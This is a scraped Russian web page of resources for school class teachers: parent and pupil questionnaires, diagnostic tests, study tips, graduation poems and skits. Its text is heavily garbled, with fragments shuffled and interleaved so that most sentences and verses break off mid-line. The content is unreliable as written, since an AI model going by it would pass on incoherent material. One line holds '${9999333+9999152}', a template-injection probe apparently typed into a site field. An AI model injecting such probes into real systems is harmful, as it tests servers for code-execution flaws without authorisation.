​Microsoft Word Document ​

​Хоть немного тепла ​

​18. Писать сочинения на ​

​семейный бюджет?​

​о своих детях. Анкетирование позволяет узнать, какими родители видят ​

​54.5 KB​Отзвенела гитара, и балу - отбой!​

​17. Заниматься в изостудии, изокружке?​

​плата и совместный ​

​с представлениями родителей ​

​Microsoft Word Document ​

​вновь опускается вечер,​

​искусстве?​9. Устраивает ли заработная ​

​детях, их интересах, увлечениях, а также знакомство ​

​тему Роль классн​

​А над городом ​

​что-то новое об ​т. д.​

​– Сбор сведений о ​

​Педагогический совет на ​было настоящее счастье.​

​16. Читать или узнавать ​

​• работают из-за квартиры и ​руководителя и т.д.​личности каждого ученика"​

​Чтоб у каждого ​проблемах?​

​• некуда деваться, работают из-за зарплаты;​себе работу классного ​

​влияние на формирование ​Поменьше ненастья,​

​разбираться в их ​

​• недовольны;​актуальными, как они представляют ​

​коллектива и его ​широкой дороги, ​

​15. Помогать другим людям ​• довольны;​родители считают наиболее ​

​в становлении классного ​Пожелаем Вас всем ​

​самодеятельности?​своей работой, своей специальностью?​

​и их тематики. Например, анкетирование позволяет понять, какие трудности детей ​тему: "Роль классного руководителя ​

​Пожелание​

​14. Участвовать в художественной ​8. Довольны ли они ​

​классного руководителя, предпочитаемых форм работы ​

​Педагогический совет на ​прозвучал.​

​открытиях и изобретениях?​• равнодушны.​и содержания работы ​

​32.0 KB​Чтобы звонок последний ​

​13. Читать об известных ​• не доверяют;​относительно общей организации ​

​Microsoft Word Document ​

​мгновения важнее,​

​математические задачи?​

​• доверяют;​– Выяснение ожиданий родителей ​Методика проведения актив. форм восп..do​

​И нет сейчас ​12. Помогать ребятам решать ​школе и педколлективу?​

​реализации следующих целей:​деятельности.​

​прощания настал,​дела?​

​7. Как, по-вашему, они относятся к ​

​классному руководителю в ​видов коллективной творческой ​

​И вот момент ​

​себя обязанности организатора ​

​• в проведении ремонта.​Анкеты могут помочь ​

​форм воспитания и ​

​стал виднее,​

​11. Добровольно брать на ​• в проведении экскурсий, походов;​

​руководителя проблеме.​Методика проведения активных ​

​Итог работы нашей ​спортшколе, секции?​

​дел;​по интересующей классного ​

​26.0 KB​А главное, себя не потерять.​

​физкультуры или в ​• в организации классных ​

​• обеспечивает конкретную информацию ​Microsoft Word Document ​

​так работалось, как пелось,​

​10. Заниматься на уроках ​школе, классному руководителю?​

​классом или школой;​

​Как составить справку.doc​Чтоб в жизни ​

​сейчас:​

​6. Помогают ли они ​от целей, стоящих перед конкретным ​

​Школьный документ - справка.​школе сдать,​

​– Нравится ли вам ​• больше мать.​

​составлена в зависимости ​

​23.5 KB​

​Экзамены успешно в ​

​сказки или истории?​

​• больше отец;​

​• обладает высокой вариативностью: она может быть ​

​Microsoft Word Document ​будет так, как вам хотелось,​

​9. Слушать или сочинять ​

​• только по вызову;​

​обработке;​

​Заповеди классного руководителя.doc​И пусть все ​

​8. Рисовать или наблюдать, как рисуют другие?​• редко;​

​в проведении и ​

​Заповеди классного руководителя​Необходимо жизни пожелать.​

​нее?​

​• часто;​• она достаточно компактна ​

​22.5 KB​

​И юношам, и девушкам прекрасной​

​ритмично танцевать под ​

​школу?​преимуществ:​

​Microsoft Word Document ​нами результат.​

​7. Слушать музыку и ​5. Посещают ли они ​

​Анкета обладает рядом ​Анкетный опрос родителей.doc​

​Ведь налицо пред ​или задавать вопросы?​

​• больше отец.​следующих собраниях (возможно, с привлечением психолога).​

​году​

​о прожитом напрасно?​

​6. Разговаривать с незнакомыми ​• больше мать;​

​тематические выступления на ​

​собрании в учебном ​

​Но что грустить ​петь песни?​

​• оба;​

​получить. Это поможет спланировать ​

​на первом родительском ​ни пера.​

​5. Читать стихи или ​

​• иногда;​они хотели бы ​

​Анкетный опрос родителей ​

​жизни вам и ​4. Ломать игрушки, чтобы посмотреть, что внутри?​

​• всегда;​

​данной теме, ответы на которые ​предложения.​

​Ни пуха в ​3. Играть в шашки, шахматы?​

​классе?​сформулировать вопросы по ​

​10. Ваши пожелания и ​

​путь, и пожелаем​верховодить в них?​

​с товарищами в ​в письменном виде ​

​с коллегами?​Так в добрый ​

​2. Придумывать игры и ​родители вашими отношениями ​

​можно попросить родителей ​могли бы поделиться ​

​Промчалась школьная пора.​

​подвижные игры?​4. Интересуются ли ваши ​

​рекомендациями. По завершении сообщения ​9. Каким опытом Вы ​

​мы поздравляем,​1. Подолгу играть в ​

​• больше мать.​

​было кратким (10–15 минут) и завершалось практическими ​Вас радуют?​

​Вас от души ​

​вы очень любили:​• больше отец;​

​Важно, чтобы данное выступление ​ребят больше всего ​

​вспять.​– Верно ли, что в детстве ​

​• оба;​экзамену и т.д.​

​8. Какие качества поведения, черты характера Ваших ​Их школьный день, не повернуть все ​

​Контрольный лист​

​• никогда;​домашних заданий, по подготовке к ​

​Вас огорчают?​

​Для них настал, действительно, последний​«+», если ответ положительный, и знак «–» при отрицательном ответе.​

​• иногда;​

​рекомендации по подготовке ​

​ребят больше всего ​нам опять.​

​они  вписывали знак ​

​• всегда;​учении. Это могут быть ​

​7. Какие качества поведения, черты характера Ваших ​Своих питомцев видеть ​

​с номерами вопросов, рядом с которыми ​делами?​

​3. Помощь ребенку в ​

​классом?​день весенний,​

​разграфленные контрольные листы ​

​родители вашими учебными ​этих трудностей.​

​Вашей работе с ​

​зале в этот ​Школьникам были выданы ​

​3. Интересуются ли ваши ​

​столкнуться дети, и способы профилактики ​

​всего удается в ​

​ Как грустно в ​«СПОСОБНОСТИ ШКОЛЬНИКА»​

​тогда чувствовали?​

​трудности, с которыми могут ​

​6. Что Вам лучше ​Слова учителя​

​ДИАГНОСТИЧЕСКИЙ ТЕСТ​

​и что вы ​

​полезно рассмотреть возможные ​их причину?​

​Самим собой!​новые идеи, интересные дела, привлекательные перспективы.​

​из дома надолго ​обучения (5-й или 9-й класс). В этом случае ​

​Вы сталкиваетесь, работая с классом? В чем видите ​

​Огромного, святого недовольства​внести в нее ​

​2. Уезжали ли вы ​на новый этап ​

​5. С какими трудностями ​живой​

​жизнь, стремясь сразу же ​

​вашей семье?​2. Новые школьные требования. Это особенно важно, если дети переходят ​

​– в другом (укажите, в чем именно)_____________________.​

​тебе горит огонь ​

​включиться в классную ​

​ней что-то свойственное только ​

​1. Особенности возрастного периода: младшего школьного, подросткового и т.д.​

​родителями, учителями, общественными организациями;​сначала начинай!​

​определить свою позицию, выбрать тон и ​свой дом, домашнюю атмосферу, есть ли в ​

​Но пусть в ​Дорогой выпускник!​не отдам​

​Сколько в сердце ​

​И блеском призрачных ​

​лжи,​

​Ни о чем ​Как мне нужен ​круг друзей​

​пока –​и ансамбль)​

​И в сердце ​

​не скажет,​А вот придут ​

​Медали свои золотые.​И без меня ​

​Родителей доставали?​

​ваши​Разве не вашей ​

​Сколько вы сил ​Послушала всех их ​ни нового корыта,​

​Классные мамы на ​Попалась Рыбка Золотая​

​В другой раз ​в синее море​

​Может, хочу слишком много, –​

​поступят​

​сдали!​взмолился:​

​Рыбка!​думу:​

​то, что поймают​И днем, и позднею ночью.​

​общие.​

​И два еще ​О Золотой рыбке.​

​(Сказка классных руководителей)​И навряд ли ​

​И не будет ​Теле-, видеобум, информационная масса,​

​говорим мы "спасибо" особо,​дорог,​

​Заносчивость, лень и безграмотность, жуткий ответ,​

​быстро порою,​мамой второю,​

​него душа.​

​Чтоб поделиться им ​к нему кнут.​

​Ну как детьми-то управлять?​Бог. ​

​это​

​Ангел. ​Бог. ​Черт. ​

​создадим.​

​И про вампиров ​Пусть деткам песенки ​

​Пусть будет школа ​

​Черт. ​( под музыку лепят)​

​Лепите, поспешайте!​работа.​

​маму классную слепить!​Рядом с ним ​

​добрыми лучистыми глазами.​

​и за детьми ​Перед ширмой сидит ​

​Сценка "Божественная комедия".​Настал черед последнего,​

​И верим, что экзамены​Прилетайте, чайки и орлы!​

​не забывайте,​Неба не пугайтесь ​порога​

​Вам открыты все ​

​Вашу жизнь пусть ​

​и успех!​Чтоб не знали ​

​сильнее быть.​Привела бы вас ​и любви.  ​

​вернуться...​

​От вздорной мысли ​А вдруг получится ​

​не хватить,​

​Вы ведь умеете, я знаю!​

​Не торопитесь отвергать,​

​Постойте у открытой ​Каждый класс, как дом родной...​

​этот час​

​Кто из трубочек ​

​Как не вспомнить ​учеба?​

​Как бы строем ​нашим деткам​

​На глазах они ​

​Жил одиннадцатый класс.​Выступление учителей​

​послушных,​Оплачен хорошо Ваш ​

​Невзгоды мимо Вас ​

​это.​ответы.​

​советы!​Вам и огромная ​

​поздравить,​детям в Жизнь ​

​Уважаемые классные руководители!​

​Смелее по земле ​станет.​

​Любовь пусть в ​Не предавать друзей ​

​Мама С добром ​Уметь любить, страдать, мечтать,​

​будет строг,​Из множества земных ​

​В большую жизнь ​

​сердце. Огромное родительское спасибо ​

​Мама. Мы - счастливые родители, дорогие наши дети, и сегодня мы ​Желаю счастья всем, здоровья.​

​В тебя я ​Мой уходящий выпускной ​Чтоб вы творили ​

​мир станет добрее,​

​Надеяться на вас ​ждет?​

​Дорогие мои взрослые ​

​3П — Пометь карандашом самые ​

​Перескажи текст, опираясь на эту ​с последующим ключевым ​

Школа классного руководителя

​ключевых слова с ​слову поставь вопрос, который по­зволит понять, как оно связано ​

​После выбора ключевых ​

​способствовать воспроизведение соответствующего ​нашими переживаниями (и приятны­ми, и неприятными).​

​—то, что мы можем ​

​—то, чем постоянно пользуемся;​

​22. Проверяй себя.​самом важном в ​

​20. Попробуй использовать при ​к докладам, сочинениям, твор­ческим работам на ​узнаешь, с тем, что ты уже ​о ком говорится ​

​правила, на которые оно ​

​выполнения следующего, и т.п.​(учеб­ник, тетради, карты, карандаши, словари, справочники и т.п.). ​

​предметам и прикинь, сколько времени тебе ​9.  Приступая к выполнению ​приемов, средств) это мож­но сделать.​

​каждого задания, думай не только ​

​есть компьютер, научись с его ​4.   Научись пользоваться словарями ​

​Памятка для учащихся​ученика.doc​

​Microsoft Word Document ​сидеть правильно.doc​

​по ТБ.doc​поведения в конфликте.do​

​Microsoft Word Document ​Таблицы по здоровому ​

​Классный час по ​

​Детского фонда ООН ​на основе телвизионных ​

​общественного мнения о ​оканчанию учебн​

​подготовке родительских собраний ​ребенка.​работе с классом, а также определить ​

​Подобная предварительная диагностика ​

​(я знал, что так и ​собственным опытом школьной ​

​во многом может ​будут искать подобный ​

​Если родители, отвечая на предложенные ​

​чувствовал себя в ​школьной жизни - это...​

ПАМЯТКИ КЛАССНЫМ РУКОВОДИТЕЛЯМ

​• Мне нравилось, когда учитель ...​

​• Мой классный руководитель ​• Мои школьные воспоминания ​

​методика неоконченных предложений, которая поможет определить ​хотели бы активно ​

​• Каковы особенности характера ​

​заниматься в школе ​ним посещать школу?​

​• Каким школьником ему ​

​ребенка отношения в ​

​• Фамилия, имя отчество.​семьи.​

​• Возраст обоих родителей.​коллектива.​в сотрудничестве со ​

​до того, как дети сядут ​

​какой-то определенной проблеме.​Диагностику можно использовать ​– интересная, захватывающая, но отнимающая много ​дать понять родителям, не обеспечивающим надлежащего ​

​первого дня работы ​коллективе.​такого ребенка с ​

​очень трудным.​работу с семьей, в которой растут ​

​в семье, потеря родителей или ​воспитания. К таким проблемным ​Главным назначением коррекционной ​руководителем.​целью навешивание ярлыков.​

​коррекционные действия классного ​• Если родители поделились ​Используя диагностику, классный руководитель должен ​восприятия всеми родителями ​и сказали ему ​

​учебного года; по результатам участия ​у учащихся друг ​в конфликтной ситуации ​

​консультаций​Предварительная диагностика необходима ​семья, дает возможность классному ​применения.​классного руководителя с ​конструктивно спланировать воспитательную ​

​коллективу педагогов школы.​выходного дня.​со школьной книгой ​учебнику».​

​• Экскурсия – знакомство со школой ​всех внеклассных мероприятиях.​

​учебное время.​

​воспитательной работы, создаю условия для ​стать активными участниками ​работы с детским ​

​Уставом учебного заведения, с правилами поведения ​учащихся с теми ​знакомить родителей класса ​2. Формирование у родителей ​

​• Конфликты в семье ​• Как научить ребенка ​• Связь поколений и ​• Здоровье ребенка – основа успешности в ​ребенке ответственность за ​старших и младших ​

​моему ребенку?​детей.​• Праздники в доме. Какими им быть?​

​• Книга в жизни ​в жизни ребенка ​• Что делать, если ребенок говорит ​

​• Игра и игрушка ​с младшим школьником.​их просвещения.​психолого-педагогическое просвещение родителей ​и педагогики​направлениям.​для нормальной жизни ​

​становиться хорошими родителями. Роль классного руководителя ​трудности самого ребенка, а из-за противоречий во ​вызывает оно и ​Педагоги, работающие с младшими ​работе с родителями ​учащихся​

​мягкая, добрая – злая, справедливая – нечестная.​_____________________________________________________​вопросам обучения и ​

​разобраться детям в ​• Дает ли учитель ​_____________________________________________________​• Обращает ли внимание ​• Помогает ли учитель ​

​___________________________________________________________________​

​• справедливая – нечестная.​

​твоему учителю:​

​ссоре с одноклассниками? _______________________________________________________________​• Разъясняет ли учитель, как готовить домашние ​вести себя так, чтобы получить одобрение ​_______________________________________________________​

​• Интересно ли тебе ​–​хотели бы, чтобы их дети ​их детям. Помогает им в ​100 процентная удовлетворенность ​Отсюда следует, что отношение родителей ​

​ребенку в его ​-​+​+​+​

​+​+​+​+​

​заботливая – невнимательная,​+​+​•​

​воспитания вашего ребенка?_​разобраться детям в ​театр, на экскурсии?​вашего ребенка и ​справляться с трудностями, возникающими у вашего ​

​ЮЭ​

​МА​№​

​Отношение к классу ​авторитетом, водит в театры ​высоко оценивают личностные ​

​в твоем классе?​+​+​

​+​+​+​+​+​

​+​+​

​+​мнению, подходят к твоему​в ссоре с ​учитель в театр, на экскурсии?​к учителю, если тебе что-то непонятно?​

​Интересно ли тебе ​КИ​

​АР​класса и их ​надомное обучение с ​выход из сложившейся ​защитить учителя от ​

​следующем примере. В опрошенном мною ​

​к учителю как ​позитивности отношения учащихся ​

​запросу директора школы.​степени позитивности отношения ​

​на этой стрнице.​И снова все ​

​Припев.​

​Но никому я ​Время, словно карусель.​может,​

​Против зависти и ​Что задумано, успеть,​Все больше понимаю,​В свой сердечный ​

​Он не закончился ​(Исполняют классные руководители ​Терпения наберитесь​

​Сейчас вам никто ​вы их учили.​получат​

​никак неймется?!​ваши​Разве уста не ​

​Каждый дневник исписан?​их учили?​

​Наши заветные желания!»​Не надо нам ​Бухнулись перед нею​В третий раз, наконец-то,​

​одною тиной.​

​И вот они ​Смилуйся, государыня!​

​Пусть наши дети ​

​Чтобы ЕГЭ все ​

​А я бы ​Я сказала бы:​

​И каждый думает ​

​В надежде на ​

​болела​А вот заботы ​

​мамы​Старую, мудрую сказку​РЫБКЕ​подскажет, никто не обучит,​

​один перед классом.​

​Спецэффектная жизнь жизнь, технологий обвал,​Но классным своим ​

​И каждый учитель, конечно, нам стал уже ​нас было: взаимные ссоры, обиды,​Но время идет, и бежит очень ​Давно мы сроднились, вы стали нам ​Пусть вселится в ​,​

​А я добавлю ​Ангел. ​

​быстро все слепили,​И подбросим  в ​

​Добавим обязательно.​Пусть будет обаятельной.​

​Пусть спортом увлекается.​Гибкий стан ей ​

​Черт. ​Ангел.​

​Бог. ​классных руководителей)​

​Приступим, помогайте!​охота!​

​Вас уж ждет ​подсобить:​

​остатка.​Это мама с ​

​Чтобы классною была ​

​классные руководители, ангел и черт.​К Последнему звонку​

​Проходит и кончается,​случается.​

​Прилетайте в гости, прилетайте,​Гнезд своих родных ​сами,​

​Только тайну отчего ​Классные  руководители. ​

​Красота, добро, надежда, радость, вера и любовь​вечно были счастье ​

​освещает путеводная звезда!​быть мудрее и ​жизни​чуть побольше счастья ​

​Как нелегко назад ​забыть,​

​Найдите миг остановиться,​Тепла вам может ​

​Сумейте просто промолчать,​Тех, кто вас любит, кто вам верит.​

​Не торопитесь уходить!​Здесь вас любят.​

​Пожелать вам в ​В доску глядя, что есть мочи,​

​Глянешь – сердце защимит.​И какая тут ​

​В голове – одни мечты!​

​А теперь мы ​нас.​

​этой крышей​все Ваши труды!​Учеников пытливых и ​

​полон,​желаем вам здоровья,​

​Спасибо классные за ​На все были ​

​За строгость, и за дельные ​

​За это честь ​

​хотим мы вас ​Вы дали нашим ​

​вспоминать.​

​пожелать​И чуждою жестокость ​

Красивые мелодии, которые пригодятся при проведении мероприятий, составления презентаций

​без них.​

​хранить, ​

​зло не отвечать.​лучшее познать.​

​Пусть этот выбор ​

​ним вперед идти.​

​сейчас, поверь,​знания, но и свое ​

​родителей​

​я,​

​Задорный, юный, озорной,​сопровождали.​

​хотелось,​

​Что с вами ​

​к вам придет.​В большую жизнь. А что вней ​

​классных руководителей​вопросы​

​выучить.​

​своим раз­делом текста и ​Соедини два соседних ​

​К каждому ключевому ​

​одно-два ключевых слова.​

​Ключевое слово должно ​—то, что связано с ​

​—то, что нам нужно;​запоминаем:​

​ответа.​сосредото­чить внимание на ​

​умеешь пользоваться картами, схемами, таблицами, тем выше будет ​

​18. Не оставляй подготовку ​

​нового понятия, явления, о котором ты ​вопросы: о чем или ​

​письменные задания, пойми и выучи ​

​при­готовь то, что нужно для ​выполнения первого задания ​

​заданий по отдельным ​

​к одноклассникам.​том, как (с помощью каких ​

​7.   Приступая к выполнению ​

​5.   Если у тебя ​или с чем-то не согласен.​

​задания​

​Отчёт о поведении ​О режиме дня.doc​

​На стенд Учись ​

​На стенд Памятки ​На стенд Кодекс ​

​образу жизни.doc​

​67.0 KB​Классный час (детям будет интересно)​

​на сайте Представительства ​

​родителями и учащимися ​целью формирования позитивного ​

    Если вы опасаетесь, что вызывает ваши опасения?

​Классный час посвященный ​

​классный руководитель при ​

​школе и своего ​

​и опорой в ​с классным коллективом.​

​напряженность родительских ожиданий ​

​родителей, которые обусловлены их ​

​провоцировать его. Поэтому классный руководитель ​

​сказать, что невольно они ​

​годы пережил...​

​• Я хочу, чтобы мой ребенок ​

​• Самое яркое событие ​

​были ...​

​...​

​учебное заведение.​

​в анкетировании родителей. Достаточно информативной является ​

​своего ребенка вы ​

​для вашего ребенка?​

​увлекается, чем хотел бы ​

​будет вместе с ​

​с болезнями?​

​посещал детский сад, как складывались у ​

​Анкета №2. Экспресс-портрет будущего первоклассника.​

​• Количественный состав членов ​

​• Образование родителей.​

​Анкета №1. Экспресс-прогноз состава родительского ​

​${9999333+9999152}​

​школе, степень заинтересованности родителей ​

​и детей задолго ​

​проведенной работы по ​

​Приложение №1. Предварительная диагностика​

​Работа классного руководителя ​

​и сразу же ​

​и неблагополучные семьи. Классный руководитель с ​

​положение в детском ​

​таланта и способностей ​

​обычном классе бывает ​

​быть направлена на ​детей, нестабильность положения ребенка ​

​проблемных ситуаций семейного ​

​коррекционная работа​

​общению с классным ​

​должно ставить своей ​

​• Диагностика проблемы предполагает ​

​определенными правилами.​

​и учащимися.​

​мероприятие через призму ​

​работу классного руководителя ​проводить в конце ​ситуаций, которые могут возникнуть ​Оперативная диагностика необходима ​

​• тематических и индивидуальных ​

​семье чрезвычайно трудное.​

Архив

Организация, темы и формы

​Диагностика в работе ​Без использования психолого-педагогической диагностики невозможно ​в классе» – демонстрация достижений учащихся, родителей и педагога ​• Заседание выездного клуба ​• Знакомство родителей учащихся ​• Круглый стол «Путешествие по школьному ​образовательному пространству школы​родителей класса во ​в каникулярное и ​знакомлю с планом ​даю возможность родителям ​своих учеников, с первых дней ​пребывания в ней. В первую очередь, это знакомство с ​Знакомлю родителей своих ​

​классный руководитель должен ​стоит?​слабо…​работать дома?​• Если ребенок одинок…​ребенка в семье.​• Как воспитать в ​• Дружба в жизни ​• Компьютер – друг или враг ​о половом созревании ​маленьких.​нравственности.​• Средства массовой информации ​учиться.​в жизни школьника.​• Основы построения общения ​выборе тем для ​Для того чтобы ​

Мини-мониторинг

​по вопросам психологии ​осуществляю по следующим ​в создании условий ​Родителям необходимо помогать ​из-за так называемой ​учебы в школе. Не меньше волнений ​сотрудничества.​Огромное значение в ​Обработка данных анкет ​чуткая – равнодушная, заботливая – невнимательная, строгая –​другого учителя?​

​с учителем по ​

​• Помогает ли учитель ​_____________________________________________________​в своей работе?​

​_____________________________________________________​_____________________________________________________​

​Анкета для родителей​• добрая – злая,​мнению подходят к ​

​учитель разобраться в ​учитель в театр, на экскурсии? _______________________________________________________________​

​• Стараешься ли ты ​учитель, если ты что-то не понял?​Возраст ________________​в целом (вопрос № 10) также очень позитивное ​родителей учеников не ​индивидуальный подход к ​качества педагога – чуткость, заботливость, мягкость, доброту и справедливость. У них высокая ​данной группе​Нравится ли вашему ​+​

​+​-​

​+​-​-​+​+​

​– Подсчитайте количество голосов ​+​-​чуткая – равнодушная​

​слова, которые по вашему​

​вопросам обучения и ​Помогает ли учитель ​ваших детей в ​учитель на особенности ​Помогает ли учитель ​ШМ​ГН​3 А класса​

​другого учителя.​в случае затруднений, является для них ​очень хорошее. Также дети очень ​Нравится ли тебе ​-​справедливая – нечестная.​+​+​+​+​+​+​+​+​Подчеркни те слова, которые, по- твоему​учитель разобраться в ​Водит ли вас ​Обращаешься ли ты ​

Темы собрания

​ЮЭ​МА​№​учащихся 3 А ​особого личностного склада, был направлен на ​участникам конфликта, а также найти ​непрофессионализме. Данное обследование помогло ​наглядно демонстрируется на ​степень позитивности отношения ​помогло выяснить степень ​родителей учащихся, была создана по ​

​Анкета для выявления ​Спасибо еще раз. Ваше имя появится ​

​Дерзай! Работай! Ошибайся! Падай!​

​отдам!​сожалений!​тревожит​Закружить легко нас ​И терпенья одолжи​О боже, дай мне сил,​дней​

​Грустной музыкой звонка…​проплывает,​«Молитва»​с богом,​словом,​

​Не зря же ​И без меня ​Что ж вам ​Разве звонки не ​проложен?​рукою​«Сколько вы лет ​исполнить​«Государыня Рыбка!​«Чего вам надобно, люди?»​травою морскою.​

Анкетирование родителей

​Пришел он с ​добрым словом!​

​бы Рыбку:​Государыня Рыбка!​Сделай такое чудо,​

​Свои подтвердили медали!​Какое желанье исполнить?​синему морю,​Чтобы забросить невод​

​У них голова ​были разные –​Жили две классных ​

​сказку –​СКАЗКА О ЗОЛОТОЙ ​И никто не ​

​при всем ты ​о нас.​сердце у нас,​И мы понимаем: труднее профессии нет.​И все у ​бы на день.​нас получились.​всех хватило.​дам такое сердце ​

​Черт. ​Дать ей позабыли.​Ну, слава Богу, молодцы -​Черт. ​Немного чертовщинки​

​Ангел. ​Ангел.​Бог. ​играет.​работе.​ноги)​

Как составить анкету

​руки и головы ​войдет.​Мне чудо сотворить ​ангел и черт)​Что ж придется ​Это сердце, отданное детям без ​

​Справочная. ​Чтоб женщиной была, наукой чтоб владела,​

​За ширмой  сидят ​Последнего звонка!​И детская, и вольная,​А все конец ​жизни веселы,​Чайками, девчонки, будьте вы!​Звезды доставать учитесь ​и решить,​и вновь.​всех.​В семьях чтобы ​Светлый путь пусть ​Дай вам Боже ​Чтоб дорога вашей ​Дай вам Боже ​возвратить,​Не торопитесь все ​Не торопитесь успевать.​отвергая,​Достаньте мудрости печать,​

​легкостью забыть​Выступление классных руководителей.​Здесь вас помнят,​

​мы, ребята,​столько воевал!​Губки, щечки, глазки в краске.​

​красоты!​нам девчонок –​каждым днем,​

​Становился он у ​Целый год под ​Пусть высоко оценят ​

​творчества желаем!​Вас пусть будет ​Мы все родители ​Дарили мудрость детям, а родителям терпенье​

​Оценки, шалости –​уважаем,​Вы искренни, ответственны, надежны​

Каким образом провести обработку анкет

​Сегодня от души ​больших!​И добрым словом ​Еще хотим мы ​покинет,​в жизни нам ​Обиду долго не ​И злом на ​Все в жизни ​

​поспеши.​И вам по ​Папа Перед тобой ​

​не только свои ​Пожелания детям от ​Вас поздравляю нынче ​ценитель,​В делах всегда ​Хочу, чтоб вам дерзать ​мысль такую,​И пусть удача ​проважаем​Пожелания детям от ​2П — Придумай к нему ​

​и постарайся ее ​ключевого слова со ​

​понять эту взаимосвязь.​выполнения задания.​Читая абзац, выбери для него ​каждом абзаце.​умениями;​(прерванные дей­ствия);​Помни: мы лучше всего ​21. Составляй план устного ​США, такой метод позволяет ​

Способы завершения собрания

​заранее, на про­тяжении нескольких дней, распределяя нагрузку равномерно.​не случайные, вне­шние связи, а главные связи, связи по смыслу.​16. Ищи связь каждого ​учебника задавай себе ​14. Прежде чем выполнять ​уроку, все убери и ​

​все лишнее—то, что может отвлекать. При­готовь то, что нужно для ​

​10. Продумай последовательность выполнения ​ко взрослым или ​содержании задания), но и о ​таблиц и т.п.​и объяснения, правила, формулы в справочниках.​2.   Задавай вопросы, если чего-то не понял ​Как готовить домашние ​ученика​О режиме дня​Учись сидеть правильно​Памятки по ТБ​

​конфликте​Таблицы по здоровому ​Microsoft Word Document ​имена​21 фильма размещен ​организовать работу с ​Классные руководители 1-11 классов с ​

​окончанию учебного года​к того, что может использовать ​собственной адаптации к ​увидеть родителей, которые будут поддержкой ​самом начале работы ​классному руководителю снять ​к школе отдельных ​

​и даже иногда ​жизни, можно с уверенностью ​

​в свои школьные ​

Скачать:

​всегда чувствовал себя ​

​собственного ребенка в ​

​заключаться не только ​• Какие качества характера ​семьи наиболее авторитетен ​

​• Чем интересуется и ​

​друзей и приятелей ​

​и как справляется ​• С какого времени ​

​• Интересы, увлечения, хобби семьи.​

​семья.​• Профессии обоих родителей.​

​класса.​

​увидеть отношение к ​изучения коллектива родителей ​

​родителями и после ​

​и конструктивнее. Успехов Вам, коллеги!​них не будет.​

​семьи его учеников ​

​меньшей степени нуждаются ​спокойствие и комфортное ​для максимального развития ​

​такого ребенка в ​

​классного руководителя должна ​школьному обучению, ранее половое созревание ​

​поддержки в решении ​

​семьей учащихся является ​располагать к дальнейшему ​• Диагностическое исследование не ​

​стать доступной всем.​

​исследовании и руководствоваться ​работы с семьей ​

​того, чтобы увидеть проводимое ​

​только для того, чтобы родители отметили ​

​Итоговую диагностику уместно ​

​собеседованиям, в решении проблемных ​

​экскурсий.​

​• родительских собраний​

​родителями тех учеников, положение которых в ​

По теме: методические разработки, презентации и конспекты

​помогает выявить проблемные ​в зависимости от ​коллективом родителей.​

​и детей.​• «День открытых дверей ​родительских уроков.​«Новости школьных уроков».​

​• Встреча родителей «Традиции класса, которым быть».​формирования культуры принадлежности ​уделяю участию самих ​в классе мероприятий ​в каждой четверти ​детского коллектива и ​

​разочаровываться в родителях ​с первых дней ​школа.​В начальной школе ​• Страхи ребенка. Что за этим ​

​• Если ребенок успевает ​• Школьный учебник. Как с ним ​семьи.​• Права и обязанности ​друзьями и приятелями.​детьми в семье.​

​детей?​

​• Что надо знать ​семье – пример подражания для ​семьи в воспитании ​ленью?​• Как научить ребенка ​• Значение режима дня ​

​• Психология младшего школьника.​

Пожелания классному руководителю анкета

​пожелания родителей при ​

Скачать:

​семьи и школы ​
​педагогов и родителей.​

​школе вовсе не ​маленького школьника начало ​четко организованная система ​начало​классе?​вашему учителю:​• Хотели бы вы ​• Советуетесь ли вы ​_____________________________________________________​театр, на экскурсии?​учитывает ли их ​урока?​ребенок в школе?​_______________________________________________________________​

​• строгая - мягкая,​• Подчеркни те слова, которые по твоему ​• Помогает ли тебе ​

​• Водит ли вас ​______________________________________________________________​• Помогает ли тебе ​

​__________ Школа _________ ​Отношение к классу ​и на экскурсии. Поэтому 100 процентов ​

​единодушно отмечают, что педагог осуществляет ​

​высоко оценивают личностные ​

​Анализ результатов по ​+​-​

​• справедливая – нечестная.​+​

​+​

​+​+​

​+​

​+​

​+​+​•​• По поддчеркните те ​с учителем по ​

​7. Школьный балл (оценка) на уроке. Всегда ли он ​приготовлению домашних заданий?_​Водит ли учитель ​

​Обращает ли внимание ​ребенок в школе?​ШД​ГЛ​

​Таблица № 2. Данные родителей учащихся ​бы учиться у ​

​на ее уроках, учитель помогает им ​

​к классному руководителю ​+​

​+​

​+​+​добрая – злая​

​-​строгая - мягкая​+​+​

​+​+​учителя?​

​Помогает ли тебе ​учителя?​учитель, если ты что-то не понял?​ШМ​

​ГН​А класса​

​к классному руководителю ​

​эмоционально-волевой сферы и ​

​по отношению к ​родителями ученика, обвинявших учителя в ​

​• оценка за урок ​Действенность разработанной анкеты ​

​в целом высокую ​

​помощью данной анкеты ​
​параллельная форма для ​Педагог-психолог Т.А. Огнева (Москва)​

​оценку. Если хотите, чтобы Ваше имя​это просто.​Благополучья собственного рай!​Никому я не ​

​От потерь и ​Покой и сон ​Время, словно карусель,​О, боже, дай мне сил​

​Припев:​В водовороте школьных ​растает​

​День над нами ​

​Веру, Любовь и Надежду!»​

​Теперь же ступайте ​

​Когда-нибудь с добрым ​

​поступят –​

​Экзамены сдать успешно.​

​месяц!​вещали?​К классу маршрут ​Разве не вашей ​

​И отвечала тихо:​

​Ты помоги нам ​

​Взмолились классные папы:​

​человечьим:​

​Пришел он с ​

​–​Пришли они с ​

​А я попросила ​

​пришел с поклоном:​

​Медалистов нет – и не надо!​

​Сделай так, чтобы дети​

​попросит Рыбку,​

​Идут они к ​синему морю,​

​этих тяжких​Дети у них ​

​моря​

​Мы вам расскажем ​

​Человек образованный все-таки лучше. ​тебя,​

​И при этом ​

​мы помним, и вы вспоминайте ​

​себя оставляет в ​

​мы мнении едины,​встает расставания тень.​

​грустно расстаться хотя ​

​Классные мамы у ​

​Чтоб его на ​

​А я ей ​отдать.​

​талант большой​Ангел. ​Побольше оптимизма.​

​Черт. ​влюбляется.​

​ним.​

​С охотою читает.​

​На инструментах пусть ​

​Успехов ей в ​подходе ( под ширмой появляются ​Готовы руки, голова ( из-за ширмы появляются ​

​нее от нас ​я -​(из-за ширмы появляются ​

​Бог. ​жизни самый главный.​(звонит) Але, справочная? Что такое классный?​

​Бог ​"Небесная канцелярия".​

​А только предпоследнего​

​школьная,​ни длилось бы,​

​были дни в ​

​Будьте, парни, гордыми орлами!​

​переступить.​

​Надо смело выбрать ​Мы желаем вновь ​

​школу и нас ​

​Будьте счастливы всегда!​

​другу быть добрее, научи любить.​

​Добивайтесь, не сдавайтесь никогда, нигде!​тоже, чтоб не подвели!​

​Классные руководители​
​Как нелегко все ​И там, где ждали, появиться.​

